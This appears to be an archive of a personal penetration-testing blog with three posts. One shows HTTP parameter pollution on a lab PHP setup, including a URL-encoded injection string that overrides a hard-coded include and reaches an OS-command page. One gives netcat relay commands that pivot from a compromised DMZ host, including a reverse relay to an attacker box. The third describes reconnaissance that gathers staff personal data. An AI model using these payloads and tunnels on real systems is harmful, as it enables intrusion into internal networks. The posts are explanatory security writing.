The Art Of Reconnaissance

A Case of Polluting HTTP Parameters

2010-05-17T02:15:00.000-07:00

Hey Guys

Sorry for such a late post (been busy wid work :( ).....

Recently a friend came to me and told me about a scenario which he had used to deploy his web application. He had built his application using PHP on Apache. There was a front-end server directly accessible to the internet and a back-end server only accessible to the front-end server. The PHP application deployed on the front end server included PHP files kept on the back-end server and showed it on the browser. The included PHP files were hard coded in the code of the PHP application running on the front-end server and this front end application took a GET parameter as input.

Now, this scenario kind of caught my interest. I recently read about HTTP parameter pollution and I thought this attack might work in this case. So I began digging and experimenting. And I came up with a demonstration which shows how will this attack work when someone is using a setup similar to the setup described above to bypass a hard coded value in the code. I know this is not recon stuff ,but still its interesting.. ;)

We will see 4 PHP codes here :-

1.) hpp.php - The main application deployed on the front-end server, which remotely includes a PHP code (cms.php) kept on the back-end server.

2.) cms.php - A PHP code kept on the back-end server which receives an input from hpp.php in the "function" parameter and includes a PHP code (set to normaluser.php) meant for a normal user locally.

3.) normaluser.php - A PHP code kept on the back-end server meant for a normal user and included by cms.php .The ping command was set in this case to show that the normal user can only use the ping service.

4.) adminuser.php - A PHP code meant for an admin user. This code can run any OS command directly to show that this code really is for the admin ;) .

Now, we can see that the normaluser.php and adminuser.php codes are vulnerable to OS command injection and XSS flaws, but I wont discuss them here because they are not the subject we want to talk about right now. This scenario was tested on the same server (my local server), cause I didn't had two servers to make a front-end and a back-end server :) . I used the session variables here to make myself feel like the back-end web applications are really not accessible directly, but only through the front-end web application ;) . The random variable (which is not really random) was chosen just to demonstrate that the "auth" session variable will get set only when cms.php is called by hpp.php and not directly.

Lets talk a little about HPP. HPP i.e. HTTP parameter pollution is an injection attack which consists of injecting query string delimiters and overriding or adding HTTP GET or POST parameters. This attack consists of client side HPP and server side HPP. We are discussing server side HPP here.

Different platforms take multiple HTTP GET, POST or COOKIE parameters with the same name in different ways. In our case, which is PHP on apache, if we provide multiple parameters with the same name to a web application, the application will consider the last parameter with the same name and use that instead of all the other parameters with the same name occurring before it.

Lets move on with the testing part. Opening hpp.php shows us the following:-

Entering an IP and hitting enter shows us the following:-

We can see that the normaluser.php script got included and executed. Lets see what input this application takes using a web proxy:-

We can see that the application takes a POST parameter named "b" which contains the IP we entered.

Now, looking at the hpp.php code and referring back to the discussion we just had about different platforms processing multiple parameters with same names in different ways, if we can make hpp.php take another "function" parameter containing a different PHP application other than normaluser.php, then hpp.php will remotely include cms.php with two "function" parameters in the URL and the one that comes at the last position will be processed by cms.php.

So, how do we go about it.

Open hpp.php and again input an IP and hit enter while intercepting the request using a web proxy as shown:-

Inject a "%26function%3dadminuser.php" after the IP as shown:-

to get the following output:-

All righty!! So what just happened.. It can be clearly seen that this time adminuser.php is included. Basically, "%26function%3dadminuser.php" is equivalent to "&function=adminuser.php"; the only difference being that the query string delimiters have been URL encloded. When we inject "%26function%3dadminuser.php" in the POST parameter, hpp.php URL decodes this value to "&function=adminuser.php" and the final string in the require_once function i.e. $d becomes "http://localhost:8080/cms.php?function=normaluser.php&cmd=127.0.0.1&function=adminuser.php&rand=12345" which consists of two "function" parameters. According to the behavior of PHP, when cms.php is remotely included with these two parameters with the same name (function), cms.php will process the last parameter, and since the value of the last function parameter is "adminuser.php", that file is included and executed.

We know that adminuser.php takes an OS command directly, so all we have to do is replace the IP with an OS command to get the required results as shown:-

So we were able to override a hard coded value in the code with one of our own value to get a file of our choice executed. cooooll!!

In this attack, we already took out all the information from the code needed to perform the attack. And it can be seen, it would have been much difficult to guess exactly what we have to inject in the parameter to get the work done.

I actually never tried this attack on my friend's web application, but it gave me a hint as in how this attack can be so devastating.

Any suggestions and feedbacks are most welcome.

Till we meet again Bbyes :)

Advanced Traffic Pivoting with Netcat (bind/reverse connection port forwards)

2009-12-08T15:58:00.000-08:00

Background -
Many a times during a pentest, I need to access machines on an internal network that are not reachable from outside, since they lie in the private ip space. So the solution is to setup the previously 0wned box on the DMZ to pivot traffic to these internal hosts.

By now, you must be saying to yourself, that's ancient stuff, it's been documented for ages how port forwards can be done with netcat, there's nothing new in that!

Well, here I would like to point out that you most likely would have used backpipes in linux to bi-directionally port forward traffic using netcat, which also involves using mknod and tee.

I'll show you a quick example here

$ mknod backpipe p
$ nc -l -p 80 0<backpipe | tee -a inflow | nc localhost 81 | tee -a outflow 1>backpipe

THAT works in *nix, but what happens when you need to perform the same thing on a windows box ???

This motivated me to find a unified set of commands that are simple to remember, less confusing, and more importantly, can be used on both linux and windows WITHOUT MAKING ANY CHANGES to the commands. (although you have to change nc to nc.exe in windows, but hey you're smart enough to figure that out, rite ? )
I've named my two methods similar to the payloads of metasploit (which rocks btw... thanks hdm !), so that it becomes easier for you to grasp the concept. We'll be making use of netcat's -e argument, which is most commonly used to bind shells on ports.

The Scenario -

You 0wn a box on the DMZ that can access machines on the internal network. You need to interact with a server on the internal network that is running Oracle DB on port 1521.

Case 1 -

Preconditions -
1. We do not have root on the DMZ box, SSH disabled, so cannot use SSH port forwarding.

2. Inbound connections to arbitrary ports on the DMZ box are not blocked.

Bind TCP Method -

Steps -
On the DMZ Box, we run a simple listener to client relay,

nc -l -p 1521 -e "nc internal.db.srv 1521"

Result -
Now, if the attacker connects to port 1521 of the DMZ Box, his connection will infact be routed to port 1521 of the internal server running Oracle.
Hence interaction with the db is possible which was previously inaccessible.

Case 2 -
Now this is where the scenario gets a bit scary.

Preconditions -
1. Includes all of Case 1 + inbound connections to the DMZ box ARE BLOCKED.
2. DMZ box can make outbound connections only on port 80.

Reverse TCP Method -
This time we'll use listener to listener and client to client relays in netcat to Reverse Connect to attacker's box.

This method comprises of two parts -

a) Establish a client to client relay on the DMZ box that connects to both the attacker's box on port 80 and the internal.db.srv box on port 1521.

b) Establish a listener to listener relay that binds to both port 80 and port 1521 on the attacker's box.

Steps (must be done in the following order)-

1. On the attacker's Linux Box, we run a listener to listener relay,
nc -l -p 80 -e "nc -l -p 1521"

2. While on the DMZ Box, we run a client to client relay,
nc attacker.box 80 -e "nc internal.db.srv 1521"

Analysis -
What happens in the first step is, we instruct netcat to first bind to port 80 on the attacker's linux box and wait for a connection.Now when it receives a connection on port 80, it binds on another port, in this case 1521, and then proceeds to bidirectionally redirect all the i/o received on port 80 to port 1521.

In the 2nd step, we instruct netcat to first connect back to the attacker's linux box on port 80, and when the connection is successful, connect to port 1521 on the internal.db.srv and then bidirectionally redirect all the i/o between the two connections.

Now, the attacker can successfully connect to port 1521 on his localhost and proceed to interact with the desired service. This is also very helpful when using tools like fgdump, psexec that require a connection to port 445 on windows clients that are on the internal network.

Note: I couldn't get step 1 to work on a windows system. So the attacking system has to be linux.

So that concludes this post. Keep on reading folks cause this blog is going to be around a long time!!!

Introduction

2009-11-04T02:08:00.001-08:00

This is a brief introduction to what Reconnaissance and this blog is all about.

First of all I would like to say that reconnaissance is my favorite and most stressed subject, and by no means I am an expert in this field. But like everyone else dedicated to a particular subject, I try to learn and get better everyday!

Reconnaissance is the art of information gathering. In the cyber world, it is the art of gathering as much information as possible about the target and mapping the attack surface against it. Now, when we talk about an attack surface , it does not necessarily have to be an IP or group of IP's belonging or somehow related to the target. It can be an email address, telephone number e.t.c. belonging to a person who is somehow related to the target. Reconnaissance is one of the most misunderstood, underestimated and difficult topics in the field of information security. When I say difficult, it refers to the approach a person should take to carry out this process.
After all, if u can't get all the avenues to attack a target, u can miss out on achieving your objective , which might be to breach the security of the target or audit it( depending on who u r ;) ).

So folks, recon can even include the things that seem very insignificant at first.
Without going into technical details, the brief objectives of recon include(and by no means it is complete):-

1. Studying about the target and what it does. (which can include documents published by it online, which give information about its organizational, political or IT infrastructure). This can also include usage of search engines, geo-location mapping e.t.c.

2. Mapping the real world target to a cyber world target. This refers to gathering all the IP's reflecting the complete target organization including all its affiliates, partner companies, sister companies, brands, divisions e.t.c.

3. Gathering all the information about personnel related to the target. This can include gathering email addresses, official and residential phone numbers, social networking site, news groups or forums information, resumes, personal web sites, social engineering, using search engines, extracting metadata from published documents e.t.c. This is often the weakest link to attack, but going through this process is very tedious at times.

Some technical specifics included in the recon process, that I find the most interesting and difficult, which again are by no means complete:-

1. Identifying the online presence of corporate networks belonging to the target.

2. Identifying all the DNS servers (which are publicly accessible) used by the personnel related to the target.

3. Identifying masquerading. When we see traffic from an IP, how do we know that traffic is generated by a single machine and not by a natting device(Hell Yeah! that's what identifying masquerades is all about).

4. Identifying network or application firewalls, load balancers, honeypots, reverse proxies, IPS/IDS e.t.c.

5. Mapping the target network's layout.

6. Identifying the presence of URL rewriting engines employed on a web server.

7. Identifying application servers, backend technologies and to some extent the inner workings of a target web application.

Some people may argue that many of the aforementioned points belong to the enumeration phase of an attack, but for me all of these fall under recon (To tell the truth, for me identifying a database backend via an error message also falls under recon even if I have injected a single quote in a web application parameter to cause the error ;) ).

One last note :
even though this blog is primarily about reconnaissance, this doesn't means that I am not going to post on other topics of information security.

Will be back with more..

Cheers!